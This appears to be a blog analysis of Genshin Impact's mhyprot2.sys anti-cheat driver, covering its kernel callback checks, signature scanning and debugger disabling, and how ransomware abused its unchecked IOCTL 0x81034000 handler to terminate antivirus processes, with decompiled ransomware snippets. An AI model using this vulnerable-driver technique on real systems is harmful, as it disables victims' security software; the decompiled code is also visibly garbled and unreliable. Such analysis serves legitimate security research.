# Analyzing Genshin Impact’s Anticheat Module

In August 2022, TrendMicro [reported](https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html) on a ransomware that uses Genshin Impact’s Anti-Cheat drivers to bypass kernel-level privileges. The driver in question is *mhyprot2.sys,* part of the anti-cheat regime of the popular online gacha game Genshin Impact. While the game doesn’t have PvP mechanisms, it has a rigid monetization structure that requires anti-tampering technologies to make sure the proper RNGs are distributed, thus protecting MiHoYo’s monetization structure.

`mhyprot2` is a part of miHoYo’s clientside anti-cheat approach. As kernel mode drivers have *system-level privilege*, these types of anticheat mechanisms often provoke controversy about user’s privacy and with many calling similar systems like Riot’s Vanguard or EasyAntiCheat as rootkits. I don’t personally believe that this driver is malicious as analyziong kernel callbacks is the one of the main ways to detect and filter malicious behavior in Windows.

Following NT kernel APIs are used in `mhyprot2`:

* The `PsSetCreateProcessNotifyRoutine` routine adds a driver-supplied callback routine to, or removes it from, a list of routines to be called whenever a process is created or deleted.
    
* The `PsSetCreateThreadNotifyRoutine` routine registers a driver-supplied callback that is subsequently notified when a new thread is created and when such a thread is deleted.
    
* The `PsSetLoadImageNotifyRoutine` routine registers a driver-supplied callback that is subsequently notified whenever an image is loaded (or mapped into memory). This is the routine that we would be discussing.
    

### Callback Routine Detection

The advantage of using these hooks is that `mhyprot` can easily know when any module or component is being mapped to the game process that mhyprot protects. But how about when a piece of malicious code removes mhyprot’s callback routine on the system? There exists a validation routine that makes sure that mhyprot’s callback routine is active on the system, pictured below.

```c
BOOLEAN __stdcall IsLoadImagellotifyRoutineExists()
{
	char *_pPspLoadImageNotifyRoutine; // rax 
	int Counter2; // ebx
	int Counter: // esi 
	__int64 i; // r14 
	char *CallbackBlock; // rdi 
	__int64 RefCallbackBlock; // rdi
	__int64 j; // rdx

	_pPspLoadImageNotifyRoutine = (char *)gpPspLoadImageNotifyRoutine;
	Counter2 = 0;
	// if gpPspLoadImagellotifyRoutine not set, then set
	if (!gpPspLoadImagellotifyRoutine )
	{
		_pPspLoadImageNotifyRoutine = FindPspRemoveLoadImageNotifyRoutine_sub_140006B240);
		gpPspLoadImageNotifyRoutine = (__int64)_pPspLoadImageNotifyRoutine;
		if ( !_pPspLoadImagellotifyRoutine )
			return 1;
    }
	Counter = 0;
	for ( i = 0164; ; i += 8164 )
	{
		CallbackBlock = &_pPspLoadImage lotifyRoutine[il;
		if (&_pPspLoadImageNotifyRoutine[i])
			break;
ContinueEnumeration:
	// Every callback-block arrays have up to 64 of its size
	if ( (unsigned int)++Counter >= 64 )
		return 0;
	}
	if(!(unsigned __int8)mIsAddressValid(&_pPspLoadImageNotifyRoutine[i])
		|| (RefCallbackBlock = *(_QWORD *)CallbackBlock) == 0
		|| !(unsigned _int8)NmIsAddressValid(RefCallbackBlock)
		|| *(void (__fastcall **)(__int64, __int64))((RefCallbackBlock & OxFFFFFFFFFFFFFFFOui64) + 8) != MhyLoadImageCallback )
	{
		_pPspLoadImageNotifyRoutine = (char *)gpPspLoadImageNotifyRoutine;
		goto ContinueEnumeration;
	}

	// validate pointer
	for (j = 0164; *(_DWORD *)((char *)&unk_14000A638 + j) == *(_DWORD *)((char *)MhyLoadImageCallback + j); j += 4164 )
	{
		if ( (unsigned int)++Counter2 >= 8 )
		return 1;	
	}
	return 0;
}
```

As you can see, `mhyprot2` has a global pointer variable `gpPspLoadImageNotifyRoutine`, to hold system’s `PspLoadImageNotifyRoutine` pointer. This will be cached and when first time this function called, it’s set.

`PspLoadImageNotifyRoutine` is the array that holds every callback-blocks registred. and when the callback called, every entries functions will be called by system. the point is that this array can only holds `64` numbers of callbacks.

1. Get `PspLoadImageNotifyRoutine` array pointer using `FindPspRemoveLoadImageNotifyRoutine_sub_140006B24`
    
2. Enumerate every single callback-block entries, validate, if matches with mhyprot’s callback function pointer, return `TRUE`
    
3. If not found, return `FALSE` which means the callback was removed intentionally by malicious code, or not registered.
    

### DKOM Countermeasures

`PspLoadImageNotifyRoutine` is not exported by `ntoskrnl` due to Microsoft never recommending DKOM methods for device drivers. Instead, `mhyprot2` uses `FindPspRemoveLoadImageNotifyRoutine_sub_140006B24`.

```c
RtlInitUnicodeString(&DestinationString,L"PsRemoveLoadImagellotifyRoutine");
pPsRemoveLoadImagellotifyRoutine=(char*)MmGatSystamRoutinaAddress(&DestinationString);
StubBase=pPsRemoveLoadImageNotifyRoutine;
if(pPsRemoveLoadImagellotifyRoutine)
{
	if ( (unsigned int)gWinVer >= 61
	{
		if ( (unsigned int)gWinVer <= 63 ) 	// Windows Vista « 8.1
		{
			MaxAddressToSearch = (unsigned _int64)(pPsRemoveLoadImageNotifyRoutine + 255);
			while ((unsigned __int64)StubBase < MaxAddressToSearch)
			{
				if ( *StubBase == 0x48
				  && StubBase[1] == 0x8Du
				  && StubBase[2] == OxD
				  && StubBase[7] == 0x8Bu
				  && StubBase[8] == Oxc6u )
				{
				DerefPointer = &StubBase[*( DWORD *)(StubBase + 3) + 7]:
ValidateAndReturn:
				if ( DerefPointer && (unsigned __int8)MmIsAddressValid(DerefPointer))
					goto LABEL_26;
				break;
			}
			++StubBase;
		}
	}
	else if ( gWinver == 100 )	// Windows 10 (Major=19, Minor=0)
	{
		for (i = (unsigned __int64) (pPsRemoveLoadImageNotifyRoutine + 12);
			 i < (unsigned ._int64) (pPsRemoveLoadImageNotifyRoutine + 255);
			 ++i )
	{
	if (*( BYTE *)(i - 2) == 0x33
		&& * ( BYTE *)(i + 1) == 0x8Du
		&& * ( BYTE *)(i - 9) == 0x44
		&& * ( BYTE *)(i - 10) == 0x66
		&& * ( BYTE *)(i + 11) == 0x48 )
	{
		DerefPointer = (char *)(i + *( DWORD *)(: + 3) + 7);
		goto ValidateAndReturn;
	}
   }
  }
 }
 	DerefPointer = Oi64:
```

In short, the driver utilizes signature scanning which allow programmers to find a unique function or variable pointer. In this case, the pointers from all Windows versions between `7` and `8.1` look like: `\x48\x8D\x0D\x00\x00\x00\x00\x8B\xC6` with the mask `xxx????xx`. Windows 10 and later uses: `\x48\x66\x44\x00\x00\x00\x00\x00\x00\x33\x00\x00\x8D` with the mask `xxx??????x??x`.

![d915702e53bd4dab41cdec4d09c928cb (1).png](https://cdn.hashnode.com/res/hashnode/image/upload/v1666062502266/t_dF0Hzj1.png align="left")

The signature represents bytecodes for opcode of instructions, with the line `48 8D 0D 00 00 00 00 ...` means `lea rcx, PspLoadImageNotifyRoutine`. These signatures used to specify the pointer of `PspLoadImageNotifyRoutine` array, from the address of `PsRemoveLoadImageNotifyRoutine` + `0xFF`.

1. Get Address of `PsRemoveLoadImageNotifyRoutine` by `MmGetSystemRoutineAddress`
    
2. Scan in range of `PsRemoveLoadImageNotifyRoutine` + `0xFF`
    
3. If pattern matches, dereference, validate and return
    
4. If not found, just return `PsRemoveLoadImageNotifyRoutine` function pointer
    

### Windows Version Detection

Since of course `ntoskrnl` is different on every version of Windows, they can verify which version of windows they’re running on by `gWinVer` which set by `GetAndSetGlobalVersionVariable`.

```cpp
char GetAndSetGlobalVersionVariable()
{
	int minorVersion; // [rsp+30h] [rbp+8h]
	int majorVersion; // [rsp+38h] [rbp+10h]

	if ( gwinVer )
		return 1;
	majorVersion = 0;
	minorVersion = 0;
	PsGetVersion (&majorVersion, &minorVersion, 0i64, 0i64);
	if (majorVersion == 5 )
	{
		if (minorVersion == 1 )
		{
		gWinVer = 51;
		return 1;
		}
	}
	else if (majorVersion == 6 ) 			// Windows Vista - 8.1
	{
		switch ( minorVersion )
		{
		  case 1:
			gWinVer = 61;
			return 1;
		  case 2:
			gWinVer = 62;
			return 1;
		  case 3:
			gWinVer = 63;
			return 1;
		}
	}
	else if (majorVersion == 10 && !minorVersion )
	{
		gWinVer = 100;
		return 1;
	}
gwinVer = 0;
return 0;
```

It’s interesting how miHoYo engineers are using `PsGetVersion` as it is an obsolete API after Windows XP, replaced with `RtlGetVersion`. If i had to guess why, it’s probably because Genshin Impact still runs on XP (many PCs in China and other developing economies still run XP, both in the consumer and enterprise segments) and Windows versions beyond XP can always use compatibility mode to translate certain API calls.

| majorVersion | minorVersion | gWinVer | Product |
| --- | --- | --- | --- |
| 5 | 1 | 51 | Windows XP |
| 6 | 1 | 61 | Windows 7 |
| 6 | 2 | 62 | Windows 8 |
| 6 | 3 | 63 | Windows 8.1 |
| 10 | 0 | 100 | Windows 10 |
|  |  |  |  |

### Validation Routine

Well, we figured out how they are checking for malicious behavior against mhyprot’s resource.mhyprot check all of callback routine registrations as follows:

```cpp
bool CheckForAllCallbacks()
{
	return !GetAndSetGlobalVersionVariable()
	|| IsgpPspLoadImageNotifyRoutineValid()
	&& IsLoadImageNotifyRoutineExist()
	&& IsProcessCreateNotifyRoutineExist()
	&& IsCreateThreadNotifyRoutineExist()
}
```

Above function eventually called from `MhyChecksumForever`’s `CheckForBothObAndAllPsCallbacks` which contains additional checks for callback routine registered by `ObRegisterCallbacks`. This function never returns until driver unloads from the system and it executes a check every `100 seconds`.

```cpp
NTSTATUS MhyChecksumForever()
{
	unsigned __int64 v0; // rbx 
	char Dest; // [rsp+30h] [rbp-Doh]
	char v3; // [rsp+168h] [rbp+68h] 
	int v4; // [rsp+170h] [rbp+70h]
	int v5; // [rsp+178h] [rbp+78h]

	v0 = 1i64;
	sub_1400014E0();
	v4 = 1;
	_InterlockedCompareExchange(6v4, -1, dword_14000A6E8);
	while ( v4 != -1 )
	{
		v5 = 0;
		_InterlockedCompareExchange(&v5, -1, dword_14000A010);
		if ( v5 == -1 )
		{
			if (dword_14000A6FC <= 0 )
			{
				++dword_14000A6FC;
				sub_140997500(6Dest, 0i64, 256164); sprintf(&Dost, 0x100ui64, "Status false\r\n");
				snprintf(&Dest, 0i64, 256i64);
				sub_1409059EC(0i64, &Dest);
				_InterlockedExchange(&dword_14000A6F8, 1);
			}
		}
		else
		{
			_InterlockedAdd(Gdword_14000A010, OxFFFFFFFF);
			if (v0 & 0x32 == 11 )
			{
				v3 = 0;
				KdChangeOption(0i64, 1i64, &v3, 0i64, 0i64, 0164);
				KdDisableDebugger();
				LOBYTE(KdDebuggerEnabled) = 0;
				if ( (unsigned _int8)sub_140001490() == 1 )
					_InterlockedExchange(&dword_14009AGEC, 3);
			}
		}
		if ( v0 == 50 * (v0 / 0x32) && ChockForBothObAndALLPsCallbacks() )
			_InterlockedExchange(&dword_14000AGEC, 3);
		if (v0 & Ox1E == 11 && Object )
			KeSetEvent((PREVENT)object, 0, 0);
		MhySleepKernelThread(100);
		++v0;
		sub_1400014E00();
		v4 = 1;
		_InterlockedCompareExchange(&v4, -1, dword_14000A6E8);
	}
	return PsTerminateSystenThread(0);
```

The interesting part is the `KdDisableDebugger` thats in `MhyChecksumForever` as this new version of `mhyprot` implemented kernel debugger detection.

```cpp
		{
			_InterlockedAdd(Gdword_14000A010, OxFFFFFFFF);
			if (v0 & 0x32 == 11 )
			{
				v3 = 0;
				KdChangeOption(0i64, 1i64, &v3, 0i64, 0i64, 0164);
				KdDisableDebugger();
				LOBYTE(KdDebuggerEnabled) = 0;
				if ( (unsigned _int8)sub_140001490() == 1 )
					_InterlockedExchange(&dword_14009AGEC, 3);
			}
		}
```

The call sleeps every 100 seconds until another execution check.

```cpp
NTSTATUS __fastcall MhySleepKernelThreat(int Second)
{
	LARGE_INTERGER Interval; // [rsp+38h] [rpb+10h]

	Interval.QuadPart = -10000 * Second;
	return KeDelayExecutionThread(0,0,&Interval);
}
```

Also `MhyChecksumForever` is created by `MhyCreateChecksumThread` which calls `PsCreateSystemThread`.

```cpp
__int64 MhyCreateChecksumThread()
{
	__int64 v1; // [rsp+40h] [rpb-48h]
	__int64 v2; // [rsp+48h] [rpb-40h]
	int v3; // [rsp+50h] [rpb-38h]
	__int64 v4; // [rsp+58h] [rpb-30h]
	__int64 v5; // [rsp+60h] [rpb-28h]
	int v6; // [rsp+68h] [rbp-20h]
	__int128 v7; // [rsp+70h] [rpb-18h]
	__int64 v8; // [rsp+90h] [rpb+8h]

	_InterlockedExchange(&dword_14000A6E8, 0);
	v3 = 48;
	v4 = 0i64;
	v6 = 512;
	v5 = 0i64;
	v8 = 0i64;
	_mm_storeu_si128((__m128i*)&v7,(__m128i)0i64);
	PsCreateSystemThread(
		(PHANDLE)&v8,
		0,
		(POBJECT_ATTRIBUTES)&v3,
		0i64,
		(PCLIENT_ID)&v1,
		(PKSTART_ROUTINE)MhyChecksumForever,
		0i64);
	return PsLookupThreadByThreadId(v2, &gChecksumThreadHandle);
}
```

Genshin Impact’s Anticheat is very aggressive, relatively more aggresive than other industry leading anticheat implementations.

### Process Termination

Through the disassembled code we can see that it compares the provided IOCTL code with `0x81034000`. If they match, it jumps to the relevant section for further processing.

```c
PAGE:FFFFF800188CD0F9 cmp ebx, 81034000h
PAGE:FFFFF800188CD0FF jz short loc_FFFFF800188CD16C

PAGE:FFFFF800188CD16C loc_FFFFF800188CD16C:                   ; CODE XREF: sub_FFFFF800188CD000+FF↑j
PAGE:FFFFF800188CD16C                 mov     rax, [rsp+30h]
PAGE:FFFFF800188CD171                 mov     ecx, [rax]
PAGE:FFFFF800188CD173                 call    sub_FFFFF800188C36A8
PAGE:FFFFF800188CD178                 and     dword ptr [rbp+1D0h+arg_20], 0
```

In the `sub_FFFFF800188C36A8` at the `.text` segment checks if the provided process ID is non-null, an essential validation step. However, further checks, such as whether the caller has the right to terminate the specified process, appear to be missing.

```c
.text:FFFFF800188C36B0 sub_FFFFF800188C36B0 proc near          ; CODE XREF: sub_FFFFF800188C36A8↑j
.text:FFFFF800188C36B0                                         ; sub_FFFFF800188C4600+27↓p
.text:FFFFF800188C36B0                                         ; DATA XREF: ...
.text:FFFFF800188C36B0
.text:FFFFF800188C36B0 var_38          = qword ptr -38h
.text:FFFFF800188C36B0 var_30          = byte ptr -30h
.text:FFFFF800188C36B0 var_28          = qword ptr -28h
.text:FFFFF800188C36B0 var_18          = byte ptr -18h
.text:FFFFF800188C36B0 arg_0           = qword ptr  8
.text:FFFFF800188C36B0 Object          = qword ptr  10h
.text:FFFFF800188C36B0 Handle          = qword ptr  18h
.text:FFFFF800188C36B0 arg_18          = qword ptr  20h
.text:FFFFF800188C36B0
.text:FFFFF800188C36B0 ; __unwind { // __C_specific_handler
.text:FFFFF800188C36B0                 test    ecx, ecx // if (param1_processid != NULL)
.text:FFFFF800188C36B2                 jz      locret_FFFFF800188C3779
```

In this part, the `ZwTerminateProcess` function is called to terminate a process.

```c
.text:FFFFF800188C3733 loc_FFFFF800188C3733:
.text:FFFFF800188C3735 mov rcx, [rsp+58h+Handle]
.text:FFFFF800188C373A call cs:ZwTerminateProcess
```

We can leverage the lack of checks here with a specially crafted request, using the specific IOCTL code and a target process ID. Since this IOCTL handler has a payload encryption measure, attackers would need to encrypt the payload.

This is exactly the same method detailed in the Trendmicro report, with the threat actor loading `mhyprot2.sys` *using the NtOpenFile* function.

```cpp
ConsoleWindow = GetConsoleWindow();
ShowWindow(ConsoleWindow,0);
v4 = 0;
if (!sub_1331000())
{
	memset(Dst, 0, sizeof(Dst));
	wcscpy_s(Dst, 0x100u, L"\\Device\\");
	wcscat_s(Dst, 0x100u, mhyprot2);
	memset(&ServiceStatus.dwCurrentState,0,24);
	ServiceStatus.dwCurrentState = 24;
	v13 = 2 * wcslen(Dst);
	v12 = v13;
	BytesReturned = Dst;
	ServiceStatus.dwWin32ExitCode = &v12;
	v5 = NtOpenFile(&Handle, 0xC0100000, &ServiceStatus.dwCurrentState, &IoStatusBlock, 0, 3u);
}
```

Afterwards, it seems to scan the common processes that are related to Antivirus or Endpoint Detection suites.

![content_1662873222777.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1666062532044/tSYETQkjH.png align="left")

The information will then be passed to `mhyprot2` using the `DeviceIoControl` function and uses control code `0x81034000` to instruct the driver to terminate the processes in the list on all threads using the `ZwTerminateProcess` function.

```cpp
// DeviceIoControl function
	sub_1333979(v7);
if(DeviceIoControl(Handle_to_myprot2, 0x81034000, &InBuffer, 0xCu, &OutBuffer, 0xCu, &BytesReturned, 0))

// The mhyprot2.sys case function
case 0x8103400:
	sub_1400036A8(*v34);
	LODWORD(a5) = 0;

if (ProcessId)
{
	ProcessHandle = 0i64;
	Object = 0i64;
	v1 = PsLookupProcessByProcessId(ProcessId,&Object) >= 0;
	if(Object)
	{
		if(ObOpenObjectByPointer(Object,0,0i64,0,0i64,0,&ProcessHandle))
		{
			if(v1)
				ObDeferenceObject(Object);
		}
		else

// ZwTerminateProcess inside 0x81034000, which terminates a process and all of its threads
		{
			ZwTerminateProcess(ProcessHandle,0);
			ZwClose(ProcessHandle);
			if(v1 && Object)
				ObDeferenceObject(Object);
		}
	}
}
```

Genshin Impact’s Anticheat is very aggressive, relatively more aggressive than other industry-leading anticheat implementations. Due to the relative popularity of the game, it seems that many have been able to reverse engineer the IOCTL calls of the system and were able to extract signed drivers from the game. Code-signed rootkits like Netfilter or Stuxnet are nothing new, but these rootkits are usually signed with stolen or falsified certificates.

![content_1662873321649.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1666062605044/7X226zWjv.png align="left")

The offensive use of mhyprot2 brings interesting questions regarding the justification for client-side anticheat systems. As gaming moves into a more live-service model, anti-cheat products will be in higher demand. But companies are also moving away from memory analysis and kernel callback-based anti-cheats with new technologies such as Hyperion by Byfron Technologies which seems to focus more on halting attempts at reverse engineering, thus preserving service integrity without significantly intruding user privacy.
